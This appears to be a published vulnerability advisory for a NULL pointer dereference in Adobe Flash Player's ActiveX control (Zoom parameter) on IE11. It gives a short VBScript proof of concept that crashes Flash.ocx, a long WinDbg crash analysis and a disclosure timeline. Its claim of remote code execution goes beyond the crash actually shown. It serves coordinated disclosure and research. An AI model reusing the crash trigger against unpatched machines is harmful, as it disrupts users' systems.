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Adobe Flash ActiveX - NULL Pointer Dereference

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25 Sep 2018

Description

Adobe® Flash® Player is a lightweight browser plug-in and rich Internet application runtime that delivers consistent and engaging user experiences, stunning audio/video playback, and exciting gameplay.

ActiveX 101

ActiveX is a framework created by Microsoft to extend the functionality of the Component Object Model (COM) and Object Linking Embedding (OLE) and apply it to content downloaded from networks.

Vulnerability Details

Adobe Flash Player contained interface of a ActiveX. It is found that the ActiveX controls to be unsafe and permit code to be executed remotely by an attacker with capability connect user to a website containing malicious / exploit ActiveX code.

The issue can only be trigger on IE11 in Windows 10. Further investigation found the ActiveX zoom and FrameNum failed to check for value input (see POC below). Upon investigation Adobe didn’t set Kill Bit for its ActiveX thus can allow any execution. Vulnerable CLSID, D27CDB6E-AE6D-11CF-96B8-444553540000 (zoom and FrameNum).

Steps to debug wscript.exe in WinDBG

1. Open executable wscript.exe in WinDBG, in the argument specify the path of WSF file.
2. Run the wscript (command 'g').
3. Crash will trigger upon execution.

Initial crash triage:

(bf34.bfb0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\System32\Macromed\Flash\Flash.ocx - 
Flash+0x33e553:
00007ffa06cde553 488b7950        mov     rdi,qword ptr [rcx+50h] ds:00000000`00000050=????????????????

Quick look in register found the value RCX contained NULL value.

0:000> r
rax=0000000000040001 rbx=0000048441abd0a0 rcx=0000000000000000
rdx=000000ecb959d3e0 rsi=0000000000000000 rdi=0000022bee711600
rip=00007ffa06cde553 rsp=000000ecb959d380 rbp=000000ecb959d570
 r8=ffffffff80000000  r9=0000000000000000 r10=0000022bee6c0150
r11=000000ecb959d4c0 r12=000000ecb959d6c0 r13=0000000000000010
r14=000000ecb959d6b0 r15=fffffffffffffd71
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
Flash+0x33e553:
00007ffa`06cde553 488b7950        mov     rdi,qword ptr [rcx+50h] ds:00000000`00000050=????????????????

Proof-of-Concept - save as WSF extension (e.g. poc.wsf)

<object classid='clsid:D27CDB6E-AE6D-11CF-96B8-444553540000' id='target' />
<script language='vbscript'>
arg1=-1
target.Zoom arg1 
</script>

Crash Dump analysis

0:000> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************

GetUrlPageData2 (WinHttp) failed: 12002.

DUMP_CLASS: 2

DUMP_QUALIFIER: 0

FAULTING_IP: 
Flash+33e553
00007ffa`06cde553 488b7950        mov     rdi,qword ptr [rcx+50h]

EXCEPTION_RECORD:  (.exr -1)
ExceptionAddress: 00007ffa06cde553 (Flash+0x000000000033e553)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 0000000000000000
   Parameter[1]: 0000000000000050
Attempt to read from address 0000000000000050

FAULTING_THREAD:  0000bfb0

DEFAULT_BUCKET_ID:  NULL_CLASS_PTR_READ

PROCESS_NAME:  wscript.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE_STR:  c0000005

EXCEPTION_PARAMETER1:  0000000000000000

EXCEPTION_PARAMETER2:  0000000000000050

FOLLOWUP_IP: 
Flash+33e553
00007ffa`06cde553 488b7950        mov     rdi,qword ptr [rcx+50h]

READ_ADDRESS:  0000000000000050 

BUGCHECK_STR:  NULL_CLASS_PTR_READ

WATSON_BKT_PROCSTAMP:  b09bb563

WATSON_BKT_PROCVER:  5.812.10240.16384

PROCESS_VER_PRODUCT:  Microsoft ® Windows Script Host

WATSON_BKT_MODULE:  Flash.ocx

WATSON_BKT_MODSTAMP:  5ae55db5

WATSON_BKT_MODOFFSET:  33e553

WATSON_BKT_MODVER:  29.0.0.171

MODULE_VER_PRODUCT:  Shockwave Flash

BUILD_VERSION_STRING:  10.0.16299.431 (WinBuild.160101.0800)

MODLIST_WITH_TSCHKSUM_HASH:  4317f1b6873c340f3bd05b0c8a7da17d7123b967

MODLIST_SHA1_HASH:  0cfd81457a955698cadfc507758ee871767d7df9

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

PRODUCT_TYPE:  1

SUITE_MASK:  272

ANALYSIS_SESSION_HOST:  DESKTOP-N8NGOGJ

ANALYSIS_SESSION_TIME:  06-04-2018 16:45:37.0273

ANALYSIS_VERSION: 10.0.14321.1024 amd64fre

THREAD_ATTRIBUTES: 
OS_LOCALE:  ENM

PROBLEM_CLASSES: 

NULL_CLASS_PTR_READ
    Tid    [0xbfb0]
    Frame  [0x00]: Flash

LAST_CONTROL_TRANSFER:  from 00007ffa06cb56df to 00007ffa06cde553

STACK_TEXT:  
000000ec`b959d380 00007ffa`06cb56df : 00000484`41abd0a0 00000000`00000000 000000ec`b959d570 00000000`00000000 : Flash+0x33e553
000000ec`b959d3b0 00007ffa`06db8c08 : 0000022b`f0794750 0000022b`f0794750 000000ec`b959d570 0000022b`f0794750 : Flash+0x3156df
000000ec`b959d470 00007ffa`436ad41f : 0000022b`ee711600 00007ffa`ffffffff 000000ec`b959d878 00007ffa`06db8aa0 : Flash!DllUnregisterServer+0x48b58
000000ec`b959d640 00007ffa`4369ef2e : 00000000`00000fff 00007ffa`4369ee6d 00000000`00000000 00000000`00000000 : OLEAUT32!DispCallFuncAmd64+0x7f
000000ec`b959d690 00007ffa`4369bd27 : 0000022b`f05e1ff4 00000000`00000000 0000022b`ee720608 0000022b`ee7678e0 : OLEAUT32!DispCallFunc+0x22e
000000ec`b959d760 00007ffa`06d823d6 : 04101100`00140004 00007ffa`22daf636 00000000`00000006 00000000`00000002 : OLEAUT32!CTypeInfo2::Invoke+0x3c7
000000ec`b959dae0 00007ffa`06dacc29 : 0000022b`ee711600 00000000`00000409 00000000`00000076 00000000`00000006 : Flash!DllUnregisterServer+0x12326
000000ec`b959db30 00007ffa`22dc2395 : 0000022b`f04b0550 00000000`00000076 0000022b`ee711600 000000ec`b959dce0 : Flash!DllUnregisterServer+0x3cb79
000000ec`b959db90 00007ffa`22db0a25 : 0000022b`ee711600 0000022b`f04b0550 00000000`00000000 0000022b`ee711600 : vbscript!IDispatchInvoke2+0x19d
000000ec`b959dc10 00007ffa`22dac5aa : 00000000`00000002 0000022b`f04b507c 0000022b`f04b507c 0000022b`f04bbc90 : vbscript!InvokeDispatch+0x985
000000ec`b959e030 00007ffa`22da60f3 : 000000ec`b959e510 00000000`00000000 000000ec`b959e510 00000000`00000000 : vbscript!CScriptRuntime::RunNoEH+0x63aa
000000ec`b959e470 00007ffa`22da3198 : 000000ec`b959e510 00000000`00000000 00000000`00000000 00000000`00000000 : vbscript!CScriptRuntime::Run+0x123
000000ec`b959e4d0 00007ffa`22dadd4c : 0000022b`f04bb250 0000022b`f04bb250 0000022b`f04b0550 00000000`00000000 : vbscript!CScriptEntryPoint::Call+0xe8
000000ec`b959e770 00007ffa`22da3bcb : 0000022b`ee69b3d0 000000ec`b959e889 00000000`00000000 00000000`00000000 : vbscript!CSession::Execute+0x20c
000000ec`b959e820 00007ffa`22da4ad9 : 0000022b`00000000 0000022b`f04bb250 00000000`00000000 00000000`00000000 : vbscript!COleScript::ExecutePendingScripts+0x19b
000000ec`b959e8f0 00007ffa`2f66842e : 00000000`00000000 0000022b`f04b0480 00000000`00000000 0000022b`f04b0480 : vbscript!COleScript::SetScriptState+0x69
000000ec`b959e930 00007ffa`2f670f77 : 0000022b`ee69000d 00007ff6`e7e15261 000000ec`b959e980 0000022b`ee69d609 : scrobj!ScriptEngine::Activate+0x2a
000000ec`b959e960 00007ffa`2f6708b5 : 00000000`00000000 00000000`00000000 000000ec`b959ea50 0000022b`ee69aab8 : scrobj!ComScriptlet::Inner::StartEngines+0xc3
000000ec`b959e9d0 00007ffa`2f670b48 : 0000022b`f04b8610 0000022b`ee69ab50 0000022b`ee69d5f0 0000022b`ee69ab40 : scrobj!ComScriptlet::Inner::Init+0x1dd
000000ec`b959ea70 00007ffa`2f66539b : 00000000`00000000 0000022b`ee69aab8 00000000`00000000 0000022b`ee69aba0 : scrobj!ComScriptlet::New+0x78
000000ec`b959eab0 00007ffa`2f665203 : 00000000`00000000 00000000`00000000 00000000`0000fde9 00000000`00000000 : scrobj!ComScriptletConstructor::CreateScriptletFromNode+0x27
000000ec`b959eaf0 00007ff6`e7e1973e : 00000000`00000000 000000ec`b959ebb9 00000000`00000000 000000ec`b959f530 : scrobj!ComScriptletConstructor::Create+0x63
000000ec`b959eb30 00007ff6`e7e148ed : 0000022b`ee6e62de 00000000`00000000 000000ec`b959f530 00000000`00000000 : wscript!CHost::RunXMLScript+0x552
000000ec`b959ec20 00007ff6`e7e161f1 : 000000ec`b959f580 000000ec`b959f580 000000ec`b959eff0 00000000`00000001 : wscript!CHost::Execute+0x29d
000000ec`b959eef0 00007ff6`e7e14141 : 00000000`00000114 00000000`00000002 0000022b`ee691550 0000022b`ee691640 : wscript!CHost::Main+0x5ad
000000ec`b959f500 00007ff6`e7e143a8 : 00000000`00000000 0000022b`ee6c2808 0000022b`ee691550 00000000`0000001f : wscript!RunScript+0x61
000000ec`b959f840 00007ff6`e7e12ab0 : 00007ff6`e7e10000 00000000`00000000 00000000`00000000 00000000`00000000 : wscript!WinMain+0x204
000000ec`b959f8a0 00007ffa`41cb1fe4 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : wscript!WinMainCRTStartup+0x70
000000ec`b959f940 00007ffa`43b0f061 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : KERNEL32!BaseThreadInitThunk+0x14
000000ec`b959f970 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x21

THREAD_SHA1_HASH_MOD_FUNC:  e80f06a0475dc07165bfc81728f905ac479682b8

THREAD_SHA1_HASH_MOD_FUNC_OFFSET:  e9eef3a5a3a9357a8b2185a6820322b41f9b71b6

THREAD_SHA1_HASH_MOD:  08d7f4f9343410143eecbe539461d84ea8efda13

FAULT_INSTR_CODE:  50798b48

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  Flash+33e553

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: Flash

IMAGE_NAME:  Flash.ocx

DEBUG_FLR_IMAGE_TIMESTAMP:  5ae55db5

STACK_COMMAND:  ~0s ; kb

BUCKET_ID:  NULL_CLASS_PTR_READ_Flash+33e553

PRIMARY_PROBLEM_CLASS:  NULL_CLASS_PTR_READ_Flash+33e553

FAILURE_EXCEPTION_CODE:  c0000005

FAILURE_IMAGE_NAME:  Flash.ocx

BUCKET_ID_IMAGE_STR:  Flash.ocx

FAILURE_MODULE_NAME:  Flash

BUCKET_ID_MODULE_STR:  Flash

FAILURE_FUNCTION_NAME:  Unknown

BUCKET_ID_FUNCTION_STR:  Unknown

BUCKET_ID_OFFSET:  33e553

BUCKET_ID_MODTIMEDATESTAMP:  5ae55db5

BUCKET_ID_MODCHECKSUM:  1b95981

BUCKET_ID_MODVER_STR:  29.0.0.171

BUCKET_ID_PREFIX_STR:  NULL_CLASS_PTR_READ_

FAILURE_PROBLEM_CLASS:  NULL_CLASS_PTR_READ

FAILURE_SYMBOL_NAME:  Flash.ocx!Unknown

FAILURE_BUCKET_ID:  NULL_CLASS_PTR_READ_c0000005_Flash.ocx!Unknown

WATSON_STAGEONE_URL:  http://watson.microsoft.com/StageOne/wscript.exe/5.812.10240.16384/b09bb563/Flash.ocx/29.0.0.171/5ae55db5/c0000005/0033e553.htm?Retriage=1

TARGET_TIME:  2018-06-04T08:45:38.000Z

OSBUILD:  16299

OSSERVICEPACK:  431

SERVICEPACK_NUMBER: 0

OS_REVISION: 0

OSPLATFORM_TYPE:  x64

OSNAME:  Windows 10

OSEDITION:  Windows 10 WinNt SingleUserTS

USER_LCID:  0

OSBUILD_TIMESTAMP:  1995-11-08 03:08:04

BUILDDATESTAMP_STR:  160101.0800

BUILDLAB_STR:  WinBuild

BUILDOSVER_STR:  10.0.16299.431

ANALYSIS_SESSION_ELAPSED_TIME: 570c

ANALYSIS_SOURCE:  UM

FAILURE_ID_HASH_STRING:  um:null_class_ptr_read_c0000005_flash.ocx!unknown

FAILURE_ID_HASH:  {fc7546b3-cbbe-7687-a761-c90b7fcd1642}

Followup:     MachineOwner
---------

Affected version of Adobe Flash

0:000> lmvm Flash
Browse full module list
start             end                 module name
00007ffa`069a0000 00007ffa`08631000   Flash      (export symbols)       C:\Windows\System32\Macromed\Flash\Flash.ocx
    Loaded symbol image file: C:\Windows\System32\Macromed\Flash\Flash.ocx
    Image path: C:\Windows\System32\Macromed\Flash\Flash.ocx
    Image name: Flash.ocx
    Browse all global symbols  functions  data
    Timestamp:        Sun Apr 29 13:52:53 2018 (5AE55DB5)
    CheckSum:         01B95981
    ImageSize:        01C91000
    File version:     29.0.0.171
    Product version:  29.0.0.171
    File flags:       0 (Mask 3F)
    File OS:          4 Unknown Win32
    File type:        2.0 Dll
    File date:        00000000.00000000
    Translations:     0409.04b0
    CompanyName:      Adobe Systems, Inc.
    ProductName:      Shockwave Flash
    InternalName:     Adobe Flash Player 29.0
    OriginalFilename: Flash.ocx
    ProductVersion:   29,0,0,171
    FileVersion:      29,0,0,171
    FileDescription:  Adobe Flash Player 29.0 r0
    LegalCopyright:   Adobe® Flash® Player. Copyright © 1996-2018 Adobe Systems Incorporated. All Rights Reserved. Adobe and Flash are either trademarks or registered trademarks in the United States and/or other countries.
    LegalTrademarks:  Adobe Flash Player

Dicslosure Timeline

  1. [June 4, 2018] Issue reported.
  2. Adobe PSIRT ack and asking for debugging / reproduction. Assigned tracking number (PSIRT-8421 and PSIRT-8422).
  3. [July 20, 2018] Request for update. Vendor ack still working on it.
  4. [Aug 25, 2018] Request for update. Vendor ack still working on it.
  5. [Sept 26, 2018] Request for update. Vendor response issue has been resolved and asking for retest. Issue confirmed fix. No CVE assigned for the issue reported. Vendor will acknowledge in their page, https://helpx.adobe.com/security/acknowledgements.html.

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